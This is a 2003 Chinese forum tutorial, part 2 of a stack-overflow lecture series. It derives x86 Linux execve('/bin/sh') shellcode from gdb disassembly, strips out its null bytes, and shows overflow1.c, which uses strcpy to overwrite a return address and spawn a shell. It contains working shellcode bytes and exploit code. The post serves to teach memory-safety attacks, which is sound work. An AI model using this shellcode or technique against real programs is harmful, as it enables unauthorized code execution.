免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2900 | 回复: 0
打印 上一主题 下一主题

堆栈溢出系列讲座(2) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-05-30 13:40 |只看该作者 |倒序浏览
  一:shellcode基本算法分析 \r\n\r\n\r\n在程序中,执行一个shell的程序是这样写的: \r\n\r\nshellcode.c \r\n\r\n------------------------------------------------------------------------ \r\n\r\n\r\n\r\n  \r\n\r\nvoid main() { \r\n\r\n  char *name[2]; \r\n\r\n  \r\n\r\n  name[0] = \"/bin/sh\"; \r\n\r\n  name[1] = NULL; \r\n\r\n  execve(name[0], name, NULL); \r\n\r\n} \r\n\r\n------------------------------------------------------------------------ \r\n\r\nexecve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序 \r\n\r\n的argv(argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个参数。 \r\n\r\n  \r\n\r\n我们来看以看execve的汇编代码: \r\n\r\n[nkl10]$ gcc -o shellcode -static shellcode.c \r\n\r\n[nkl10]$ gdb shellcode \r\n\r\n(gdb) disassemble __execve \r\n\r\nDump of assembler code for function __execve: \r\n\r\n0x80002bc <__execve>;:  pushl %ebp           ; \r\n\r\n0x80002bd <__execve+1>;: movl  %esp,%ebp \r\n\r\n            ;上面是函数头。 \r\n\r\n0x80002bf <__execve+3>;: pushl %ebx \r\n\r\n            ;保存ebx \r\n\r\n0x80002c0 <__execve+4>;: movl  $0xb,%eax \r\n\r\n            ;eax=0xb,eax指明第几号系统调用。 \r\n\r\n0x80002c5 <__execve+9>;: movl  0x8(%ebp),%ebx \r\n\r\n            ;ebp+8是第一个参数\"/bin/sh\\0\" \r\n\r\n0x80002c8 <__execve+12>;:    movl  0xc(%ebp),%ecx \r\n\r\n            ;ebp+12是第二个参数name数组的地址 \r\n\r\n0x80002cb <__execve+15>;:    movl  0x10(%ebp),%edx \r\n\r\n            ;ebp+16是第三个参数空指针的地址。 \r\n\r\n            ;name[2-1]内容为NULL,用来存放返回值。 \r\n\r\n0x80002ce <__execve+18>;:    int  $0x80 \r\n\r\n            ;执行0xb号系统调用(execve) \r\n\r\n0x80002d0 <__execve+20>;:    movl  %eax,%edx \r\n\r\n            ;下面是返回值的处理就没有用了。 \r\n\r\n0x80002d2 <__execve+22>;:    testl %edx,%edx \r\n\r\n0x80002d4 <__execve+24>;:    jnl  0x80002e6 <__execve+42>; \r\n\r\n0x80002d6 <__execve+26>;:    negl  %edx \r\n\r\n0x80002d8 <__execve+28>;:    pushl %edx \r\n\r\n0x80002d9 <__execve+29>;:    call  0x8001a34 \r\n\r\n<__normal_errno_location>; \r\n\r\n0x80002de <__execve+34>;:    popl  %edx \r\n\r\n0x80002df <__execve+35>;:    movl  %edx,(%eax) \r\n\r\n0x80002e1 <__execve+37>;:    movl  $0xffffffff,%eax \r\n\r\n0x80002e6 <__execve+42>;:    popl  %ebx \r\n\r\n0x80002e7 <__execve+43>;:    movl  %ebp,%esp \r\n\r\n0x80002e9 <__execve+45>;:    popl  %ebp \r\n\r\n0x80002ea <__execve+46>;:    ret \r\n\r\n0x80002eb <__execve+47>;:    nop \r\n\r\nEnd of assembler dump. \r\n\r\n  \r\n\r\n经过以上的分析,可以得到如下的精简指令算法: \r\n\r\nmovl  $execve的系统调用号,%eax \r\n\r\nmovl  \"bin/sh\\0\"的地址,%ebx \r\n\r\nmovl  name数组的地址,%ecx \r\n\r\nmovl  name[n-1]的地址,%edx \r\n\r\nint  $0x80      ;执行系统调用(execve) \r\n\r\n  \r\n\r\n当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。可是, \r\n\r\n如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后续的 \r\n\r\n指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用, \r\n\r\n结束shellcode.c的执行。 \r\n\r\n  \r\n\r\n我们来看以看exit(0)的汇编代码: \r\n\r\n(gdb) disassemble _exit \r\n\r\nDump of assembler code for function _exit: \r\n\r\n0x800034c <_exit>;:   pushl %ebp \r\n\r\n0x800034d <_exit+1>;:  movl  %esp,%ebp \r\n\r\n0x800034f <_exit+3>;:  pushl %ebx \r\n\r\n0x8000350 <_exit+4>;:  movl  $0x1,%eax    ;1号系统调用 \r\n\r\n0x8000355 <_exit+9>;:  movl  0x8(%ebp),%ebx  ;ebx为参数0 \r\n\r\n0x8000358 <_exit+12>;:  int  $0x80      ;引发系统调用 \r\n\r\n0x800035a <_exit+14>;:  movl  0xfffffffc(%ebp),%ebx \r\n\r\n0x800035d <_exit+17>;:  movl  %ebp,%esp \r\n\r\n0x800035f <_exit+19>;:  popl  %ebp \r\n\r\n0x8000360 <_exit+20>;:  ret \r\n\r\n0x8000361 <_exit+21>;:  nop \r\n\r\n0x8000362 <_exit+22>;:  nop \r\n\r\n0x8000363 <_exit+23>;:  nop \r\n\r\nEnd of assembler dump. \r\n\r\n  \r\n\r\n  \r\n\r\n看来exit(0)〕的汇编代码更加简单: \r\n\r\nmovl  $0x1,%eax    ;1号系统调用 \r\n\r\nmovl  0,%ebx      ;ebx为exit的参数0 \r\n\r\nint  $0x80      ;引发系统调用 \r\n\r\n  \r\n\r\n那么总结一下,合成的汇编代码为: \r\n\r\nmovl  $execve的系统调用号,%eax \r\n\r\nmovl  \"bin/sh\\0\"的地址,%ebx \r\n\r\nmovl  name数组的地址,%ecx \r\n\r\nmovl  name[n-1]的地址,%edx \r\n\r\nint  $0x80      ;执行系统调用(execve) \r\n\r\nmovl  $0x1,%eax    ;1号系统调用 \r\n\r\nmovl  0,%ebx      ;ebx为exit的参数0 \r\n\r\nint  $0x80      ;执行系统调用(exit) \r\n\r\n  \r\n\r\n二:实现一个shellcode \r\n\r\n  \r\n\r\n好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name数组 \r\n\r\n。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次程序都是 \r\n\r\n动态加载,字符串和name数组的地址都不是固定的。 \r\n\r\n  \r\n\r\n通过JMP和call的结合,黑客们巧妙的解决了这个问题。 \r\n\r\n------------------------------------------------------------------------ \r\n\r\njmp  call的偏移地址      # 2 bytes \r\n\r\npopl  %esi           # 1 byte    //popl出来的是string的地址。 \r\n\r\nmovl  %esi,array-offset(%esi) # 3 bytes    //在string+8处构造 name数组, \r\n\r\n  \r\n\r\n                        //name[0]放 string的地址 \r\n\r\n  \r\n\r\nmovb  $0x0,nullbyteoffset(%esi)# 4 bytes    //string+7处放0作为string的结 \r\n\r\n尾。 \r\n\r\nmovl  $0x0,null-offset(%esi)  # 7 bytes    //name[1]放0。 \r\n\r\nmovl  $0xb,%eax        # 5 bytes    //eax=0xb是execve的syscall代码 \r\n\r\n。 \r\n\r\nmovl  %esi,%ebx        # 2 bytes    //ebx=string的地址 \r\n\r\nleal  array-offset,(%esi),%ecx # 3 bytes    //ecx=name数组的开始地址 \r\n\r\nleal  null-offset(%esi),%edx  # 3 bytes    //edx=name〔1]的地址 \r\n\r\nint  $0x80          # 2 bytes    //int 0x80是sys call \r\n\r\nmovl  $0x1, %eax        # 5 bytes    //eax=0x1是exit的syscall代码 \r\n\r\nmovl  $0x0, %ebx        # 5 bytes    //ebx=0是exit的返回值 \r\n\r\nint  $0x80          # 2 bytes    //int 0x80是sys call \r\n\r\ncall  popl 的偏移地址     # 5 bytes    //这里放call,string 的地址就会 \r\n\r\n作 \r\n\r\n                        //为返回地址压栈。 \r\n\r\n/bin/sh 字符串 \r\n\r\n------------------------------------------------------------------------ \r\n\r\n首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为call的 \r\n\r\n返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就获得了 \r\n\r\n字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字节,构造 \r\n\r\nname数组(两个整数,八个字节)。 \r\n\r\n  \r\n\r\n我们可以写shellcode了。先写出汇编源程序。 \r\n\r\nshellcodeasm.c \r\n\r\n------------------------------------------------------------------------ \r\n\r\nvoid main() { \r\n\r\n__asm__(\" \r\n\r\n    jmp  0x2a           # 3 bytes \r\n\r\n    popl  %esi           # 1 byte \r\n\r\n    movl  %esi,0x8(%esi)      # 3 bytes \r\n\r\n    movb  $0x0,0x7(%esi)      # 4 bytes \r\n\r\n    movl  $0x0,0xc(%esi)      # 7 bytes \r\n\r\n    movl  $0xb,%eax        # 5 bytes \r\n\r\n    movl  %esi,%ebx        # 2 bytes \r\n\r\n    leal  0x8(%esi),%ecx      # 3 bytes \r\n\r\n    leal  0xc(%esi),%edx      # 3 bytes \r\n\r\n    int  $0x80          # 2 bytes \r\n\r\n    movl  $0x1, %eax        # 5 bytes \r\n\r\n    movl  $0x0, %ebx        # 5 bytes \r\n\r\n    int  $0x80          # 2 bytes \r\n\r\n    call  -0x2f          # 5 bytes \r\n\r\n    .string \\\"/bin/sh\\\"       # 8 bytes \r\n\r\n\"; \r\n\r\n} \r\n\r\n------------------------------------------------------------------------ \r\n\r\n编译后,用gdb的 \r\n\r\nb/bx 〔地址〕 \r\n\r\n命令可以得到十六进制的表示。 \r\n\r\n下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序) \r\n\r\n  \r\n\r\ntest.c \r\n\r\n------------------------------------------------------------------------ \r\n\r\n  \r\n\r\nchar shellcode[] = \r\n\r\n    \"\\xeb\\x2a\\x5e\\x89\\x76\\x08\\xc6\\x46\\x07\\x00\\xc7\\x46\\x0c\\x00\\x00\\x00\" \r\n\r\n    \"\\x00\\xb8\\x0b\\x00\\x00\\x00\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\" \r\n\r\n    \"\\xb8\\x01\\x00\\x00\\x00\\xbb\\x00\\x00\\x00\\x00\\xcd\\x80\\xe8\\xd1\\xff\\xff\" \r\n\r\n    \"\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x89\\xec\\x5d\\xc3\"; \r\n\r\n  \r\n\r\nvoid main() { \r\n\r\n  int *ret; \r\n\r\n  \r\n\r\n  ret = (int *);ret + 2;    //ret 等于main()的返回地址 \r\n\r\n                //(+2是因为:有pushl ebp ,否则加1就可以了。) \r\n\r\n  \r\n\r\n  (*ret) = (int)shellcode;   //修改main()的返回地址为shellcode的开始地 \r\n\r\n址。 \r\n\r\n  \r\n\r\n} \r\n\r\n  \r\n\r\n------------------------------------------------------------------------ \r\n\r\n------------------------------------------------------------------------ \r\n\r\n[nkl10]$ gcc -o test test.c \r\n\r\n[nkl10]$ ./test \r\n\r\n$ exit \r\n\r\n[nkl10]$ \r\n\r\n------------------------------------------------------------------------ \r\n\r\n我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址ret \r\n\r\n设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,从 \r\n\r\n而我们得到了一个shell。 \r\n\r\n  \r\n\r\n运行结果,得到了bsh的提示符$,表明成功的开了一个shell。 \r\n\r\n  \r\n\r\n这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为一段 \r\n\r\n代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而我们的 \r\n\r\n代码中movl  %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码段。 \r\n\r\n  \r\n\r\n这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关键在 \r\n\r\n于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,以\"\\0\" \r\n\r\n为字符串结尾。遇\\0就结束了写操作。而我们的shellcode串中有大量的\\0字符。因此, \r\n\r\n对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有\\0字符 \r\n\r\n出现的。 \r\n\r\n  \r\n\r\n因此,有些指令需要修改一下: \r\n\r\n      旧的指令               新的指令 \r\n\r\n      -------------------------------------------------------- \r\n\r\n      movb  $0x0,0x7(%esi)        xorl  %eax,%eax \r\n\r\n      molv  $0x0,0xc(%esi)        movb  %eax,0x7(%esi) \r\n\r\n                        movl  %eax,0xc(%esi) \r\n\r\n      -------------------------------------------------------- \r\n\r\n      movl  $0xb,%eax           movb  $0xb,%al \r\n\r\n      -------------------------------------------------------- \r\n\r\n      movl  $0x1, %eax          xorl  %ebx,%ebx \r\n\r\n      movl  $0x0, %ebx          movl  %ebx,%eax \r\n\r\n                        inc  %eax \r\n\r\n      -------------------------------------------------------- \r\n\r\n  \r\n\r\n最后的shellcode为: \r\n\r\n------------------------------------------------------------------------ \r\n\r\nchar shellcode[]= \r\n\r\n00    \"\\xeb\\x1f\"           /* jmp 0x1f       */ \r\n\r\n02    \"\\x5e\"             /* popl %esi       */ \r\n\r\n03    \"\\x89\\x76\\x08\"         /* movl %esi,0x8(%esi)  */ \r\n\r\n06    \"\\x31\\xc0\"           /* xorl %eax,%eax    */ \r\n\r\n08    \"\\x88\\x46\\x07\"         /* movb %eax,0x7(%esi)  */ \r\n\r\n0b    \"\\x89\\x46\\x0c\"         /* movl %eax,0xc(%esi)  */ \r\n\r\n0e    \"\\xb0\\x0b\"           /* movb $0xb,%al     */ \r\n\r\n10    \"\\x89\\xf3\"           /* movl %esi,%ebx    */ \r\n\r\n12    \"\\x8d\\x4e\\x08\"         /* leal 0x8(%esi),%ecx  */ \r\n\r\n15    \"\\x8d\\x56\\x0c\"         /* leal 0xc(%esi),%edx  */ \r\n\r\n18    \"\\xcd\\x80\"           /* int $0x80       */ \r\n\r\n1a    \"\\x31\\xdb\"           /* xorl %ebx,%ebx    */ \r\n\r\n1c    \"\\x89\\xd8\"           /* movl %ebx,%eax    */ \r\n\r\n1e    \"\\x40\"             /* inc %eax       */ \r\n\r\n1f    \"\\xcd\\x80\"           /* int $0x80       */ \r\n\r\n21    \"\\xe8\\xdc\\xff\\xff\\xff\"     /* call -0x24      */ \r\n\r\n26    \"/bin/sh\";           /* .string \\\"/bin/sh\\\"  */ \r\n\r\n------------------------------------------------------------------------ \r\n\r\n  \r\n\r\n三:利用堆栈溢出获得shell \r\n\r\n  \r\n\r\n好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完, \r\n\r\n我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。 \r\n\r\noverflow1.c \r\n\r\n------------------------------------------------------------------------ \r\n\r\nchar shellcode[] = \r\n\r\n  \r\n\r\n\"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\" \r\n\r\n  \r\n\r\n\"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\" \r\n\r\n    \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"; \r\n\r\n  \r\n\r\nchar large_string[128]; \r\n\r\n  \r\n\r\nvoid main() { \r\n\r\n char buffer[96]; \r\n\r\n int i; \r\n\r\n long *long_ptr = (long *) large_string; \r\n\r\n  \r\n\r\n for (i = 0; i < 32; i++) \r\n\r\n  *(long_ptr + i) = (int) buffer; \r\n\r\n  \r\n\r\n for (i = 0; i < strlen(shellcode); i++) \r\n\r\n  large_string = shellcode; \r\n\r\n  \r\n\r\n strcpy(buffer,large_string); \r\n\r\n} \r\n\r\n------------------------------------------------------------------------ \r\n\r\n在执行完strcpy后,堆栈内容如下所示: \r\n\r\n  \r\n\r\n内存底部                内存顶部 \r\n\r\n      buffer    EBP  ret \r\n\r\n\r\n\r\n<------  [SSS...SSSA ][A  ][A  ]A..A \r\n\r\n     ^;buffer \r\n\r\n 栈顶部                堆栈底部 \r\n\r\n注:S表示shellcode。 \r\n\r\n  A表示shellcode的地址。 \r\n\r\n  \r\n\r\n这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们的 \r\n\r\nshellcode。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP